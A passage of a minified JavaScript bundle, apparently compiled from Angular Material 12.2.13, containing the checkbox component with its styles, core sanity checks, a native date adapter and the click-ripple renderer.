e=(0,i.Ig)(t);e!==this.disabled&&(this._disabled=e,this._changeDetectorRef.markForCheck())}get indeterminate(){return this._indeterminate}set indeterminate(t){const e=t!=this._indeterminate;this._indeterminate=(0,i.Ig)(t),e&&(this._transitionCheckState(this._indeterminate?3:this.checked?1:2),this.indeterminateChange.emit(this._indeterminate)),this._syncIndeterminate(this._indeterminate)}_isRippleDisabled(){return this.disableRipple||this.disabled}_onLabelTextChange(){this._changeDetectorRef.detectChanges()}writeValue(t){this.checked=!!t}registerOnChange(t){this._controlValueAccessorChangeFn=t}registerOnTouched(t){this._onTouched=t}setDisabledState(t){this.disabled=t}_getAriaChecked(){return this.checked?"true":this.indeterminate?"mixed":"false"}_transitionCheckState(t){let e=this._currentCheckState,n=this._elementRef.nativeElement;if(e!==t&&(this._currentAnimationClass.length>0&&n.classList.remove(this._currentAnimationClass),this._currentAnimationClass=this._getAnimationClassForCheckStateTransition(e,t),this._currentCheckState=t,this._currentAnimationClass.length>0)){n.classList.add(this._currentAnimationClass);const t=this._currentAnimationClass;this._ngZone.runOutsideAngular(()=>{setTimeout(()=>{n.classList.remove(t)},1e3)})}}_emitChangeEvent(){const t=new v;t.source=this,t.checked=this.checked,this._controlValueAccessorChangeFn(this.checked),this.change.emit(t),this._inputElement&&(this._inputElement.nativeElement.checked=this.checked)}toggle(){this.checked=!this.checked}_onInputClick(t){var e;const n=null===(e=this._options)||void 0===e?void 0:e.clickAction;t.stopPropagation(),this.disabled||"noop"===n?!this.disabled&&"noop"===n&&(this._inputElement.nativeElement.checked=this.checked,this._inputElement.nativeElement.indeterminate=this.indeterminate):(this.indeterminate&&"check"!==n&&Promise.resolve().then(()=>{this._indeterminate=!1,this.indeterminateChange.emit(this._indeterminate)}),this.toggle(),this._transitionCheckState(this._checked?1:2),this._emitChangeEvent())}focus(t,e){t?this._focusMonitor.focusVia(this._inputElement,t,e):this._inputElement.nativeElement.focus(e)}_onInteractionEvent(t){t.stopPropagation()}_getAnimationClassForCheckStateTransition(t,e){if("NoopAnimations"===this._animationMode)return"";let n="";switch(t){case 0:if(1===e)n="unchecked-checked";else{if(3!=e)return"";n="unchecked-indeterminate"}break;case 2:n=1===e?"unchecked-checked":"unchecked-indeterminate";break;case 1:n=2===e?"checked-unchecked":"checked-indeterminate";break;case 3:n=1===e?"indeterminate-checked":"indeterminate-unchecked"}return`mat-checkbox-anim-${n}`}_syncIndeterminate(t){const e=this._inputElement;e&&(e.nativeElement.indeterminate=t)}}return t.\u0275fac=function(e){return new(e||t)(s.Y36(s.SBq),s.Y36(s.sBO),s.Y36(l.tE),s.Y36(s.R0b),s.$8M("tabindex"),s.Y36(a.Qb,8),s.Y36(p,8))},t.\u0275cmp=s.Xpm({type:t,selectors:[["mat-checkbox"]],viewQuery:function(t,e){if(1&t&&(s.Gf(u,5),s.Gf(o.wG,5)),2&t){let t;s.iGM(t=s.CRH())&&(e._inputElement=t.first),s.iGM(t=s.CRH())&&(e.ripple=t.first)}},hostAttrs:[1,"mat-checkbox"],hostVars:12,hostBindings:function(t,e){2&t&&(s.Ikx("id",e.id),s.uIk("tabindex",null),s.ekj("mat-checkbox-indeterminate",e.indeterminate)("mat-checkbox-checked",e.checked)("mat-checkbox-disabled",e.disabled)("mat-checkbox-label-before","before"==e.labelPosition)("_mat-animation-noopable","NoopAnimations"===e._animationMode))},inputs:{disableRipple:"disableRipple",color:"color",tabIndex:"tabIndex",ariaLabel:["aria-label","ariaLabel"],ariaLabelledby:["aria-labelledby","ariaLabelledby"],id:"id",labelPosition:"labelPosition",name:"name",required:"required",checked:"checked",disabled:"disabled",indeterminate:"indeterminate",ariaDescribedby:["aria-describedby","ariaDescribedby"],value:"value"},outputs:{change:"change",indeterminateChange:"indeterminateChange"},exportAs:["matCheckbox"],features:[s._Bn([_]),s.qOj],ngContentSelectors:d,decls:17,vars:21,consts:[[1,"mat-checkbox-layout"],["label",""],[1,"mat-checkbox-inner-container"],["type","checkbox",1,"mat-checkbox-input","cdk-visually-hidden",3,"id","required","checked","disabled","tabIndex","change","click"],["input",""],["matRipple","",1,"mat-checkbox-ripple","mat-focus-indicator",3,"matRippleTrigger","matRippleDisabled","matRippleRadius","matRippleCentered","matRippleAnimation"],[1,"mat-ripple-element","mat-checkbox-persistent-ripple"],[1,"mat-checkbox-frame"],[1,"mat-checkbox-background"],["version","1.1","focusable","false","viewBox","0 0 24 24",0,"xml","space","preserve","aria-hidden","true",1,"mat-checkbox-checkmark"],["fill","none","stroke","white","d","M4.1,12.7 9,17.6 20.3,6.3",1,"mat-checkbox-checkmark-path"],[1,"mat-checkbox-mixedmark"],[1,"mat-checkbox-label",3,"cdkObserveContent"],["checkboxLabel",""],[2,"display","none"]],template:function(t,e){if(1&t&&(s.F$t(),s.TgZ(0,"label",0,1),s.TgZ(2,"span",2),s.TgZ(3,"input",3,4),s.NdJ("change",function(t){return e._onInteractionEvent(t)})("click",function(t){return e._onInputClick(t)}),s.qZA(),s.TgZ(5,"span",5),s._UZ(6,"span",6),s.qZA(),s._UZ(7,"span",7),s.TgZ(8,"span",8),s.O4$(),s.TgZ(9,"svg",9),s._UZ(10,"path",10),s.qZA(),s.kcU(),s._UZ(11,"span",11),s.qZA(),s.qZA(),s.TgZ(12,"span",12,13),s.NdJ("cdkObserveContent",function(){return e._onLabelTextChange()}),s.TgZ(14,"span",14),s._uU(15,"\xa0"),s.qZA(),s.Hsn(16),s.qZA(),s.qZA()),2&t){const t=s.MAs(1),n=s.MAs(13);s.uIk("for",e.inputId),s.xp6(2),s.ekj("mat-checkbox-inner-container-no-side-margin",!n.textContent||!n.textContent.trim()),s.xp6(1),s.Q6J("id",e.inputId)("required",e.required)("checked",e.checked)("disabled",e.disabled)("tabIndex",e.tabIndex),s.uIk("value",e.value)("name",e.name)("aria-label",e.ariaLabel||null)("aria-labelledby",e.ariaLabelledby)("aria-checked",e._getAriaChecked())("aria-describedby",e.ariaDescribedby),s.xp6(2),s.Q6J("matRippleTrigger",t)("matRippleDisabled",e._isRippleDisabled())("matRippleRadius",20)("matRippleCentered",!0)("matRippleAnimation",s.VKq(19,h,"NoopAnimations"===e._animationMode?0:150))}},directives:[o.wG,c.wD],styles:["@keyframes mat-checkbox-fade-in-background{0%{opacity:0}50%{opacity:1}}@keyframes mat-checkbox-fade-out-background{0%,50%{opacity:1}100%{opacity:0}}@keyframes mat-checkbox-unchecked-checked-checkmark-path{0%,50%{stroke-dashoffset:22.910259}50%{animation-timing-function:cubic-bezier(0, 0, 0.2, 0.1)}100%{stroke-dashoffset:0}}@keyframes mat-checkbox-unchecked-indeterminate-mixedmark{0%,68.2%{transform:scaleX(0)}68.2%{animation-timing-function:cubic-bezier(0, 0, 0, 1)}100%{transform:scaleX(1)}}@keyframes mat-checkbox-checked-unchecked-checkmark-path{from{animation-timing-function:cubic-bezier(0.4, 0, 1, 1);stroke-dashoffset:0}to{stroke-dashoffset:-22.910259}}@keyframes mat-checkbox-checked-indeterminate-checkmark{from{animation-timing-function:cubic-bezier(0, 0, 0.2, 0.1);opacity:1;transform:rotate(0deg)}to{opacity:0;transform:rotate(45deg)}}@keyframes mat-checkbox-indeterminate-checked-checkmark{from{animation-timing-function:cubic-bezier(0.14, 0, 0, 1);opacity:0;transform:rotate(45deg)}to{opacity:1;transform:rotate(360deg)}}@keyframes mat-checkbox-checked-indeterminate-mixedmark{from{animation-timing-function:cubic-bezier(0, 0, 0.2, 0.1);opacity:0;transform:rotate(-45deg)}to{opacity:1;transform:rotate(0deg)}}@keyframes mat-checkbox-indeterminate-checked-mixedmark{from{animation-timing-function:cubic-bezier(0.14, 0, 0, 1);opacity:1;transform:rotate(0deg)}to{opacity:0;transform:rotate(315deg)}}@keyframes mat-checkbox-indeterminate-unchecked-mixedmark{0%{animation-timing-function:linear;opacity:1;transform:scaleX(1)}32.8%,100%{opacity:0;transform:scaleX(0)}}.mat-checkbox-background,.mat-checkbox-frame{top:0;left:0;right:0;bottom:0;position:absolute;border-radius:2px;box-sizing:border-box;pointer-events:none}.mat-checkbox{display:inline-block;transition:background 400ms cubic-bezier(0.25, 0.8, 0.25, 1),box-shadow 280ms cubic-bezier(0.4, 0, 0.2, 1);cursor:pointer;-webkit-tap-highlight-color:transparent}._mat-animation-noopable.mat-checkbox{transition:none;animation:none}.mat-checkbox .mat-ripple-element:not(.mat-checkbox-persistent-ripple){opacity:.16}.mat-checkbox .mat-checkbox-ripple{position:absolute;left:calc(50% - 20px);top:calc(50% - 20px);height:40px;width:40px;z-index:1;pointer-events:none}.cdk-high-contrast-active .mat-checkbox.cdk-keyboard-focused .mat-checkbox-ripple{outline:solid 3px}.mat-checkbox-layout{-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;cursor:inherit;align-items:baseline;vertical-align:middle;display:inline-flex;white-space:nowrap}.mat-checkbox-label{-webkit-user-select:auto;-moz-user-select:auto;-ms-user-select:auto;user-select:auto}.mat-checkbox-inner-container{display:inline-block;height:16px;line-height:0;margin:auto;margin-right:8px;order:0;position:relative;vertical-align:middle;white-space:nowrap;width:16px;flex-shrink:0}[dir=rtl] .mat-checkbox-inner-container{margin-left:8px;margin-right:auto}.mat-checkbox-inner-container-no-side-margin{margin-left:0;margin-right:0}.mat-checkbox-frame{background-color:transparent;transition:border-color 90ms cubic-bezier(0, 0, 0.2, 0.1);border-width:2px;border-style:solid}._mat-animation-noopable .mat-checkbox-frame{transition:none}.mat-checkbox-background{align-items:center;display:inline-flex;justify-content:center;transition:background-color 90ms cubic-bezier(0, 0, 0.2, 0.1),opacity 90ms cubic-bezier(0, 0, 0.2, 0.1);-webkit-print-color-adjust:exact;color-adjust:exact}._mat-animation-noopable .mat-checkbox-background{transition:none}.cdk-high-contrast-active .mat-checkbox .mat-checkbox-background{background:none}.mat-checkbox-persistent-ripple{display:block;width:100%;height:100%;transform:none}.mat-checkbox-inner-container:hover .mat-checkbox-persistent-ripple{opacity:.04}.mat-checkbox.cdk-keyboard-focused .mat-checkbox-persistent-ripple{opacity:.12}.mat-checkbox-persistent-ripple,.mat-checkbox.mat-checkbox-disabled .mat-checkbox-inner-container:hover .mat-checkbox-persistent-ripple{opacity:0}@media(hover: none){.mat-checkbox-inner-container:hover .mat-checkbox-persistent-ripple{display:none}}.mat-checkbox-checkmark{top:0;left:0;right:0;bottom:0;position:absolute;width:100%}.mat-checkbox-checkmark-path{stroke-dashoffset:22.910259;stroke-dasharray:22.910259;stroke-width:2.1333333333px}.cdk-high-contrast-black-on-white .mat-checkbox-checkmark-path{stroke:#000 !important}.mat-checkbox-mixedmark{width:calc(100% - 6px);height:2px;opacity:0;transform:scaleX(0) rotate(0deg);border-radius:2px}.cdk-high-contrast-active .mat-checkbox-mixedmark{height:0;border-top:solid 2px;margin-top:2px}.mat-checkbox-label-before .mat-checkbox-inner-container{order:1;margin-left:8px;margin-right:auto}[dir=rtl] .mat-checkbox-label-before .mat-checkbox-inner-container{margin-left:auto;margin-right:8px}.mat-checkbox-checked .mat-checkbox-checkmark{opacity:1}.mat-checkbox-checked .mat-checkbox-checkmark-path{stroke-dashoffset:0}.mat-checkbox-checked .mat-checkbox-mixedmark{transform:scaleX(1) rotate(-45deg)}.mat-checkbox-indeterminate .mat-checkbox-checkmark{opacity:0;transform:rotate(45deg)}.mat-checkbox-indeterminate .mat-checkbox-checkmark-path{stroke-dashoffset:0}.mat-checkbox-indeterminate .mat-checkbox-mixedmark{opacity:1;transform:scaleX(1) rotate(0deg)}.mat-checkbox-unchecked .mat-checkbox-background{background-color:transparent}.mat-checkbox-disabled{cursor:default}.cdk-high-contrast-active .mat-checkbox-disabled{opacity:.5}.mat-checkbox-anim-unchecked-checked .mat-checkbox-background{animation:180ms linear 0ms mat-checkbox-fade-in-background}.mat-checkbox-anim-unchecked-checked .mat-checkbox-checkmark-path{animation:180ms linear 0ms mat-checkbox-unchecked-checked-checkmark-path}.mat-checkbox-anim-unchecked-indeterminate .mat-checkbox-background{animation:180ms linear 0ms mat-checkbox-fade-in-background}.mat-checkbox-anim-unchecked-indeterminate .mat-checkbox-mixedmark{animation:90ms linear 0ms mat-checkbox-unchecked-indeterminate-mixedmark}.mat-checkbox-anim-checked-unchecked .mat-checkbox-background{animation:180ms linear 0ms mat-checkbox-fade-out-background}.mat-checkbox-anim-checked-unchecked .mat-checkbox-checkmark-path{animation:90ms linear 0ms mat-checkbox-checked-unchecked-checkmark-path}.mat-checkbox-anim-checked-indeterminate .mat-checkbox-checkmark{animation:90ms linear 0ms mat-checkbox-checked-indeterminate-checkmark}.mat-checkbox-anim-checked-indeterminate .mat-checkbox-mixedmark{animation:90ms linear 0ms mat-checkbox-checked-indeterminate-mixedmark}.mat-checkbox-anim-indeterminate-checked .mat-checkbox-checkmark{animation:500ms linear 0ms mat-checkbox-indeterminate-checked-checkmark}.mat-checkbox-anim-indeterminate-checked .mat-checkbox-mixedmark{animation:500ms linear 0ms mat-checkbox-indeterminate-checked-mixedmark}.mat-checkbox-anim-indeterminate-unchecked .mat-checkbox-background{animation:180ms linear 0ms mat-checkbox-fade-out-background}.mat-checkbox-anim-indeterminate-unchecked .mat-checkbox-mixedmark{animation:300ms linear 0ms mat-checkbox-indeterminate-unchecked-mixedmark}.mat-checkbox-input{bottom:0;left:50%}\n"],encapsulation:2,changeDetection:0}),t})(),w=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=s.oAB({type:t}),t.\u0275inj=s.cJS({}),t})(),x=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=s.oAB({type:t}),t.\u0275inj=s.cJS({imports:[[o.si,o.BQ,c.Q8,w],o.BQ,w]}),t})()},24298:function(t,e,n){"use strict";n.d(e,{yN:function(){return _},mZ:function(){return v},_A:function(){return A},rD:function(){return j},sG:function(){return I},K7:function(){return ot},HF:function(){return nt},Y2:function(){return Q},BQ:function(){return w},X2:function(){return H},uc:function(){return Y},XK:function(){return B},ey:function(){return ut},Ng:function(){return pt},nP:function(){return tt},us:function(){return et},wG:function(){return K},si:function(){return X},LF:function(){return M},IR:function(){return J},CB:function(){return ht},jH:function(){return dt},pj:function(){return C},Kr:function(){return S},Id:function(){return x},FD:function(){return k},sb:function(){return E},E0:function(){return V}});var i=n(2316),s=n(51606),r=n(772);const o=new i.GfV("12.2.13");var a=n(54364),c=n(36145),l=n(20657),u=n(79441),h=n(1143),d=n(71918),p=n(90084);function f(t,e){if(1&t&&i._UZ(0,"mat-pseudo-checkbox",4),2&t){const t=i.oxw();i.Q6J("state",t.selected?"checked":"unchecked")("disabled",t.disabled)}}function m(t,e){if(1&t&&(i.TgZ(0,"span",5),i._uU(1),i.qZA()),2&t){const t=i.oxw();i.xp6(1),i.hij("(",t.group.label,")")}}const g=["*"];let _=(()=>{class t{}return t.STANDARD_CURVE="cubic-bezier(0.4,0.0,0.2,1)",t.DECELERATION_CURVE="cubic-bezier(0.0,0.0,0.2,1)",t.ACCELERATION_CURVE="cubic-bezier(0.4,0.0,1,1)",t.SHARP_CURVE="cubic-bezier(0.4,0.0,0.6,1)",t})(),v=(()=>{class t{}return t.COMPLEX="375ms",t.ENTERING="225ms",t.EXITING="195ms",t})();const b=new i.GfV("12.2.13"),y=new i.OlP("mat-sanity-checks",{providedIn:"root",factory:function(){return!0}});let w=(()=>{class t{constructor(t,e,n){this._hasDoneGlobalChecks=!1,this._document=n,t._applyBodyHighContrastModeCssClasses(),this._sanityChecks=e,this._hasDoneGlobalChecks||(this._checkDoctypeIsDefined(),this._checkThemeIsPresent(),this._checkCdkVersionMatch(),this._hasDoneGlobalChecks=!0)}_checkIsEnabled(t){return!(!(0,i.X6Q)()||(0,c.Oy)())&&("boolean"==typeof this._sanityChecks?this._sanityChecks:!!this._sanityChecks[t])}_checkDoctypeIsDefined(){this._checkIsEnabled("doctype")&&!this._document.doctype&&console.warn("Current document does not have a doctype. This may cause some Angular Material components not to behave as expected.")}_checkThemeIsPresent(){if(!this._checkIsEnabled("theme")||!this._document.body||"function"!=typeof getComputedStyle)return;const t=this._document.createElement("div");t.classList.add("mat-theme-loaded-marker"),this._document.body.appendChild(t);const e=getComputedStyle(t);e&&"none"!==e.display&&console.warn("Could not find Angular Material core theme. Most Material components may not work as expected. For more info refer to the theming guide: https://material.angular.io/guide/theming"),this._document.body.removeChild(t)}_checkCdkVersionMatch(){this._checkIsEnabled("version")&&b.full!==o.full&&console.warn("The Angular Material version ("+b.full+") does not match the Angular CDK version ("+o.full+").\nPlease ensure the versions of these two packages exactly match.")}}return t.\u0275fac=function(e){return new(e||t)(i.LFG(s.qm),i.LFG(y,8),i.LFG(a.K0))},t.\u0275mod=i.oAB({type:t}),t.\u0275inj=i.cJS({imports:[[r.vT],r.vT]}),t})();function x(t){return class extends t{constructor(...t){super(...t),this._disabled=!1}get disabled(){return this._disabled}set disabled(t){this._disabled=(0,l.Ig)(t)}}}function C(t,e){return class extends t{constructor(...t){super(...t),this.defaultColor=e,this.color=e}get color(){return this._color}set color(t){const e=t||this.defaultColor;e!==this._color&&(this._color&&this._elementRef.nativeElement.classList.remove(`mat-${this._color}`),e&&this._elementRef.nativeElement.classList.add(`mat-${e}`),this._color=e)}}}function S(t){return class extends t{constructor(...t){super(...t),this._disableRipple=!1}get disableRipple(){return this._disableRipple}set disableRipple(t){this._disableRipple=(0,l.Ig)(t)}}}function E(t,e=0){return class extends t{constructor(...t){super(...t),this._tabIndex=e,this.defaultTabIndex=e}get tabIndex(){return this.disabled?-1:this._tabIndex}set tabIndex(t){this._tabIndex=null!=t?(0,l.su)(t):this.defaultTabIndex}}}function k(t){return class extends t{constructor(...t){super(...t),this.stateChanges=new u.xQ,this.errorState=!1}updateErrorState(){const t=this.errorState,e=(this.errorStateMatcher||this._defaultErrorStateMatcher).isErrorState(this.ngControl?this.ngControl.control:null,this._parentFormGroup||this._parentForm);e!==t&&(this.errorState=e,this.stateChanges.next())}}}const T=new i.OlP("MAT_DATE_LOCALE",{providedIn:"root",factory:function(){return(0,i.f3M)(i.soG)}});class A{constructor(){this._localeChanges=new u.xQ,this.localeChanges=this._localeChanges}getValidDateOrNull(t){return this.isDateInstance(t)&&this.isValid(t)?t:null}deserialize(t){return null==t||this.isDateInstance(t)&&this.isValid(t)?t:this.invalid()}setLocale(t){this.locale=t,this._localeChanges.next()}compareDate(t,e){return this.getYear(t)-this.getYear(e)||this.getMonth(t)-this.getMonth(e)||this.getDate(t)-this.getDate(e)}sameDate(t,e){if(t&&e){let n=this.isValid(t),i=this.isValid(e);return n&&i?!this.compareDate(t,e):n==i}return t==e}clampDate(t,e,n){return e&&this.compareDate(t,e)<0?e:n&&this.compareDate(t,n)>0?n:t}}const I=new i.OlP("mat-date-formats");let O;try{O="undefined"!=typeof Intl}catch(ft){O=!1}const R={long:["January","February","March","April","May","June","July","August","September","October","November","December"],short:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],narrow:["J","F","M","A","M","J","J","A","S","O","N","D"]},P=L(31,t=>String(t+1)),N={long:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],short:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],narrow:["S","M","T","W","T","F","S"]},D=/^\d{4}-\d{2}-\d{2}(?:T\d{2}:\d{2}:\d{2}(?:\.\d+)?(?:Z|(?:(?:\+|-)\d{2}:\d{2}))?)?$/;function L(t,e){const n=Array(t);for(let i=0;i<t;i++)n[i]=e(i);return n}let M=(()=>{class t extends A{constructor(t,e){super(),this.useUtcForDisplay=!0,super.setLocale(t),this.useUtcForDisplay=!e.TRIDENT,this._clampDate=e.TRIDENT||e.EDGE}getYear(t){return t.getFullYear()}getMonth(t){return t.getMonth()}getDate(t){return t.getDate()}getDayOfWeek(t){return t.getDay()}getMonthNames(t){if(O){const e=new Intl.DateTimeFormat(this.locale,{month:t,timeZone:"utc"});return L(12,t=>this._stripDirectionalityCharacters(this._format(e,new Date(2017,t,1))))}return R[t]}getDateNames(){if(O){const t=new Intl.DateTimeFormat(this.locale,{day:"numeric",timeZone:"utc"});return L(31,e=>this._stripDirectionalityCharacters(this._format(t,new Date(2017,0,e+1))))}return P}getDayOfWeekNames(t){if(O){const e=new Intl.DateTimeFormat(this.locale,{weekday:t,timeZone:"utc"});return L(7,t=>this._stripDirectionalityCharacters(this._format(e,new Date(2017,0,t+1))))}return N[t]}getYearName(t){if(O){const e=new Intl.DateTimeFormat(this.locale,{year:"numeric",timeZone:"utc"});return this._stripDirectionalityCharacters(this._format(e,t))}return String(this.getYear(t))}getFirstDayOfWeek(){return 0}getNumDaysInMonth(t){return this.getDate(this._createDateWithOverflow(this.getYear(t),this.getMonth(t)+1,0))}clone(t){return new Date(t.getTime())}createDate(t,e,n){let i=this._createDateWithOverflow(t,e,n);return i.getMonth(),i}today(){return new Date}parse(t){return"number"==typeof t?new Date(t):t?new Date(Date.parse(t)):null}format(t,e){if(!this.isValid(t))throw Error("NativeDateAdapter: Cannot format invalid date.");if(O){this._clampDate&&(t.getFullYear()<1||t.getFullYear()>9999)&&(t=this.clone(t)).setFullYear(Math.max(1,Math.min(9999,t.getFullYear()))),e=Object.assign(Object.assign({},e),{timeZone:"utc"});const n=new Intl.DateTimeFormat(this.locale,e);return this._stripDirectionalityCharacters(this._format(n,t))}return this._stripDirectionalityCharacters(t.toDateString())}addCalendarYears(t,e){return this.addCalendarMonths(t,12*e)}addCalendarMonths(t,e){let n=this._createDateWithOverflow(this.getYear(t),this.getMonth(t)+e,this.getDate(t));return this.getMonth(n)!=((this.getMonth(t)+e)%12+12)%12&&(n=this._createDateWithOverflow(this.getYear(n),this.getMonth(n),0)),n}addCalendarDays(t,e){return this._createDateWithOverflow(this.getYear(t),this.getMonth(t),this.getDate(t)+e)}toIso8601(t){return[t.getUTCFullYear(),this._2digit(t.getUTCMonth()+1),this._2digit(t.getUTCDate())].join("-")}deserialize(t){if("string"==typeof t){if(!t)return null;if(D.test(t)){let e=new Date(t);if(this.isValid(e))return e}}return super.deserialize(t)}isDateInstance(t){return t instanceof Date}isValid(t){return!isNaN(t.getTime())}invalid(){return new Date(NaN)}_createDateWithOverflow(t,e,n){const i=new Date;return i.setFullYear(t,e,n),i.setHours(0,0,0,0),i}_2digit(t){return("00"+t).slice(-2)}_stripDirectionalityCharacters(t){return t.replace(/[\u200e\u200f]/g,"")}_format(t,e){const n=new Date;return n.setUTCFullYear(e.getFullYear(),e.getMonth(),e.getDate()),n.setUTCHours(e.getHours(),e.getMinutes(),e.getSeconds(),e.getMilliseconds()),t.format(n)}}return t.\u0275fac=function(e){return new(e||t)(i.LFG(T,8),i.LFG(c.t4))},t.\u0275prov=i.Yz7({token:t,factory:t.\u0275fac}),t})(),F=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=i.oAB({type:t}),t.\u0275inj=i.cJS({providers:[{provide:A,useClass:M}],imports:[[c.ud]]}),t})();const U={parse:{dateInput:null},display:{dateInput:{year:"numeric",month:"numeric",day:"numeric"},monthYearLabel:{year:"numeric",month:"short"},dateA11yLabel:{year:"numeric",month:"long",day:"numeric"},monthYearA11yLabel:{year:"numeric",month:"long"}}};let B=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=i.oAB({type:t}),t.\u0275inj=i.cJS({providers:[{provide:I,useValue:U}],imports:[[F]]}),t})(),j=(()=>{class t{isErrorState(t,e){return!!(t&&t.invalid&&(t.touched||e&&e.submitted))}}return t.\u0275fac=function(e){return new(e||t)},t.\u0275prov=i.Yz7({factory:function(){return new t},token:t,providedIn:"root"}),t})(),H=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275dir=i.lG2({type:t,selectors:[["","mat-line",""],["","matLine",""]],hostAttrs:[1,"mat-line"]}),t})();function V(t,e,n="mat"){t.changes.pipe((0,h.O)(t)).subscribe(({length:t})=>{G(e,`${n}-2-line`,!1),G(e,`${n}-3-line`,!1),G(e,`${n}-multi-line`,!1),2===t||3===t?G(e,`${n}-${t}-line`,!0):t>3&&G(e,`${n}-multi-line`,!0)})}function G(t,e,n){const i=t.nativeElement.classList;n?i.add(e):i.remove(e)}let Y=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=i.oAB({type:t}),t.\u0275inj=i.cJS({imports:[[w],w]}),t})();class q{constructor(t,e,n){this._renderer=t,this.element=e,this.config=n,this.state=3}fadeOut(){this._renderer.fadeOutRipple(this)}}const $={enterDuration:225,exitDuration:150},z=(0,c.i$)({passive:!0}),Z=["mousedown","touchstart"],W=["mouseup","mouseleave","touchend","touchcancel"];class J{constructor(t,e,n,i){this._target=t,this._ngZone=e,this._isPointerDown=!1,this._activeRipples=new Set,this._pointerUpEventsRegistered=!1,i.isBrowser&&(this._containerElement=(0,l.fI)(n))}fadeInRipple(t,e,n={}){const i=this._containerRect=this._containerRect||this._containerElement.getBoundingClientRect(),s=Object.assign(Object.assign({},$),n.animation);n.centered&&(t=i.left+i.width/2,e=i.top+i.height/2);const r=n.radius||function(t,e,n){const i=Math.max(Math.abs(t-n.left),Math.abs(t-n.right)),s=Math.max(Math.abs(e-n.top),Math.abs(e-n.bottom));return Math.sqrt(i*i+s*s)}(t,e,i),o=t-i.left,a=e-i.top,c=s.enterDuration,l=document.createElement("div");l.classList.add("mat-ripple-element"),l.style.left=o-r+"px",l.style.top=a-r+"px",l.style.height=2*r+"px",l.style.width=2*r+"px",null!=n.color&&(l.style.backgroundColor=n.color),l.style.transitionDuration=`${c}ms`,this._containerElement.appendChild(l),window.getComputedStyle(l).getPropertyValue("opacity"),l.style.transform="scale(1)";const u=new q(this,l,n);return u.state=0,this._activeRipples.add(u),n.persistent||(this._mostRecentTransientRipple=u),this._runTimeoutOutsideZone(()=>{const t=u===this._mostRecentTransientRipple;u.state=1,!n.persistent&&(!t||!this._isPointerDown)&&u.fadeOut()},c),u}fadeOutRipple(t){const e=this._activeRipples.delete(t);if(t===this._mostRecentTransientRipple&&(this._mostRecentTransientRipple=null),this._activeRipples.size||(this._containerRect=null),!e)return;const n=t.element,i=Object.assign(Object.assign({},$),t.config.animation);n.style.transitionDuration=`${i.exitDuration}ms`,n.style.opacity="0",t.state=2,this._runTimeoutOutsideZone(()=>{t.state=3,n.parentNode.removeChild(n)},i.exitDuration)}fadeOutAll(){this._activeRipples.forEach(t=>t.fadeOut())}fadeOutAllNonPersistent(){this._activeRipples.forEach(t=>{t.config.persistent||t.fadeOut()})}setupTriggerEvents(t){const e=(0,l.fI)(t);!e||e===this._triggerElement||(this._removeTriggerEvents(),this._triggerElement=e,this._registerEvents(Z))}handleEvent(t){"mousedown"===t.type?this._onMousedown(t):"touchstart"===t.type?this._onTouchStart(t):this._onPointerUp(),this._pointerUpEventsRegistered||(this._registerEvents(W),this._pointerUpEventsRegistered=!0)}_onMousedown(t){const e=(0,s.X6)(t),n=this._lastTouchStartEvent&&Date.now()<this._lastTouchStartEvent+800;!this._target.rippleDisabled&&!e&&!n&&(this._isPointerDown=!0,this.fadeInRipple(t.clientX,t.clientY,this._target.rippleConfig))}_onTouchStart(t){if(!this._target.rippleDisabled&&!(0,s.yG)(t)){this._lastTouchStartEvent=Date.now(),this._isPointerDown=!0;const e=t.changedTouches;for(let t=0;t<e.length;t++)this.fadeInRipple(e[t].clientX,e[t].clientY,this._target.rippleConfig)}}_onPointerUp(){!this._isPointerDown||(this._isPointerDown=!1,this._activeRipples.forEach(t=>{!t.config.persistent&&(1===t.state||t.config.terminateOnPointerUp&&0===t.state)&&t.fadeOut()}))}_runTimeoutOutsideZone(t,e=0){this._ngZone.runOutsideAngular(()=>setTimeout(t,e))}_registerEvents(t){this._ngZone.runOutsideAngular(()=>{t.forEach(t=>{this._triggerElement.addEventListener(t,this,z)})})}_removeTriggerEvents(){this._triggerElement&&(Z.forEach(t=>{this._triggerElement.removeEventListener(t,this,z)}),this._pointerUpEventsRegistered&&W.forEach(t=>{this._triggerElement.removeEventListener(t,this,z)}))}}const Q=new i.OlP("mat-ripple-global-options");let K=(()=>{class t{constructor(t,e,n,i,s){this._elementRef=t,this._animationMode=s,this.radius=0,this._disabled=!1,this._isInitialized=!1,this._globalOptions=i||{},this._rippleRenderer=new J(this,e,t,n)}get disabled(){return this._disabled}set disabled(t){t&&this.fadeOutAllNonPersistent(),this._disabled=t,this._setupTriggerEventsIfEnabled()}get trigger(){return this._trigger||this._elementRef.nativeElement}set trigger(t){this._trigger=t,this._setupTriggerEventsIfEnabled()}ngOnInit(){this._isInitialized=!0,this._setupTriggerEventsIfEnabled()}ngOnDestroy(){this._rippleRenderer._removeTriggerEvents()}fadeOutAll(){this._rippleRenderer.fadeOutAll()}fadeOutAllNonPersistent(){this._rippleRenderer.fadeOutAllNonPersistent()}get rippleConfig(){return{centered:this.centered,radius:this.radius,color:this.color,animation:Object.assign(Object.assign(Object.assign({},this._globalOptions.animation),"NoopAnimations"===this._animationMode?{enterDuration:0,exitDuration:0}:{}),this.animation),terminateOnPointerUp:this._globalOptions.terminateOnPointerUp}}get rippleDisabled(){return this.disabled||!!this._globalOptions.disabled}_setupTriggerEventsIfEnabled(){!this.disabled&&this._isInitialized&&this._rippleRenderer.setupTriggerEvents(this.trigger)}launch(t,e=0,n){return"number"==typeof t?this._rippleRenderer.fadeInRipple(t,e,Object.assign(Object.assign({},this.rippleConfig),n)):this._rippleRenderer.fadeInRipple(0,0,Object.assign(Object.assign({},this.rippleConfig),t))}}return t.\u0275fac=function(e){return 